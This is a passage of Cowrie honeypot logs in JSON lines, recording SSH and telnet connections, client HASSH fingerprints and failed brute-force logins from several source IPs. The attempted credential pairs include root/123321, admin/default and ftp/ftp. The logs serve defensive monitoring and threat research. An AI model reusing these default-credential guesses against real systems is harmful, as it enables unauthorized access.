 client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:11.047669Z","src_ip":"64.89.163.156","session":"677c98c829d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"test123","message":"login attempt [weblogic/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:11.313265Z","src_ip":"64.89.163.156","session":"677c98c829d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:12.404125Z","src_ip":"64.89.163.156","session":"677c98c829d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":58680,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c4ff441b3ad","protocol":"telnet","message":"New connection: 212.55.149.117:58680 (10.17.0.5:23) [session: 6c4ff441b3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:39.506145Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.47.236.116","src_port":31830,"dst_ip":"159.203.135.109","dst_port":23,"session":"71177c14a2bb","protocol":"telnet","message":"New connection: 89.47.236.116:31830 (159.203.135.109:23) [session: 71177c14a2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:43.915563Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":42776,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad84b1e34748","protocol":"ssh","message":"New connection: 2.57.122.210:42776 (10.17.0.5:22) [session: ad84b1e34748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:52.785280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:52.789610Z","src_ip":"2.57.122.210","session":"ad84b1e34748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:52.889060Z","src_ip":"2.57.122.210","session":"ad84b1e34748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:53.184440Z","src_ip":"2.57.122.210","session":"ad84b1e34748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:54.285226Z","src_ip":"2.57.122.210","session":"ad84b1e34748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.32952356338501,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:57.244940Z","src_ip":"89.47.236.116","session":"71177c14a2bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.220.181","src_port":47594,"dst_ip":"159.203.135.109","dst_port":22,"session":"abb15a2e4509","protocol":"ssh","message":"New connection: 116.110.220.181:47594 (159.203.135.109:22) [session: abb15a2e4509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:17:32.368486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:17:32.373090Z","src_ip":"116.110.220.181","session":"abb15a2e4509","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:17:32.661777Z","src_ip":"116.110.220.181","session":"abb15a2e4509","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"default","message":"login attempt [admin/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:17:37.236206Z","src_ip":"116.110.220.181","session":"abb15a2e4509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:17:38.697241Z","src_ip":"116.110.220.181","session":"abb15a2e4509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.45369291305542,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:17:41.959710Z","src_ip":"212.55.149.117","session":"6c4ff441b3ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":58650,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2f25df0b5f4","protocol":"ssh","message":"New connection: 2.57.122.238:58650 (10.17.0.5:22) [session: e2f25df0b5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:18:05.588876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:18:05.597430Z","src_ip":"2.57.122.238","session":"e2f25df0b5f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:18:05.701837Z","src_ip":"2.57.122.238","session":"e2f25df0b5f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:18:06.015953Z","src_ip":"2.57.122.238","session":"e2f25df0b5f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:18:07.124032Z","src_ip":"2.57.122.238","session":"e2f25df0b5f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":57396,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a9ad5029793","protocol":"ssh","message":"New connection: 103.15.226.202:57396 (10.17.0.5:22) [session: 5a9ad5029793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:18:47.167325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:18:47.172018Z","src_ip":"103.15.226.202","session":"5a9ad5029793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:18:47.419507Z","src_ip":"103.15.226.202","session":"5a9ad5029793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:18:48.163147Z","src_ip":"103.15.226.202","session":"5a9ad5029793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:18:49.413388Z","src_ip":"103.15.226.202","session":"5a9ad5029793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":39968,"dst_ip":"10.17.0.5","dst_port":22,"session":"018e1e55b011","protocol":"ssh","message":"New connection: 2.57.122.210:39968 (10.17.0.5:22) [session: 018e1e55b011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:10.284746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:10.292682Z","src_ip":"2.57.122.210","session":"018e1e55b011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:10.389413Z","src_ip":"2.57.122.210","session":"018e1e55b011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"fdcl","message":"login attempt [sol/fdcl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:10.681994Z","src_ip":"2.57.122.210","session":"018e1e55b011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:11.782719Z","src_ip":"2.57.122.210","session":"018e1e55b011","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.193.85","src_port":58044,"dst_ip":"159.203.135.109","dst_port":22,"session":"4186aba11cd2","protocol":"ssh","message":"New connection: 171.231.193.85:58044 (159.203.135.109:22) [session: 4186aba11cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:12.652651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:12.833306Z","src_ip":"171.231.193.85","session":"4186aba11cd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:12.900828Z","src_ip":"171.231.193.85","session":"4186aba11cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:14.148540Z","src_ip":"171.231.193.85","session":"4186aba11cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:15.639123Z","src_ip":"171.231.193.85","session":"4186aba11cd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":37603,"dst_ip":"10.17.0.5","dst_port":23,"session":"afdc03099ac0","protocol":"telnet","message":"New connection: 212.55.149.117:37603 (10.17.0.5:23) [session: afdc03099ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:39.960276Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":40686,"dst_ip":"10.17.0.5","dst_port":22,"session":"0941d273747b","protocol":"ssh","message":"New connection: 2.57.122.238:40686 (10.17.0.5:22) [session: 0941d273747b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:57.846571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:57.850981Z","src_ip":"2.57.122.238","session":"0941d273747b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","h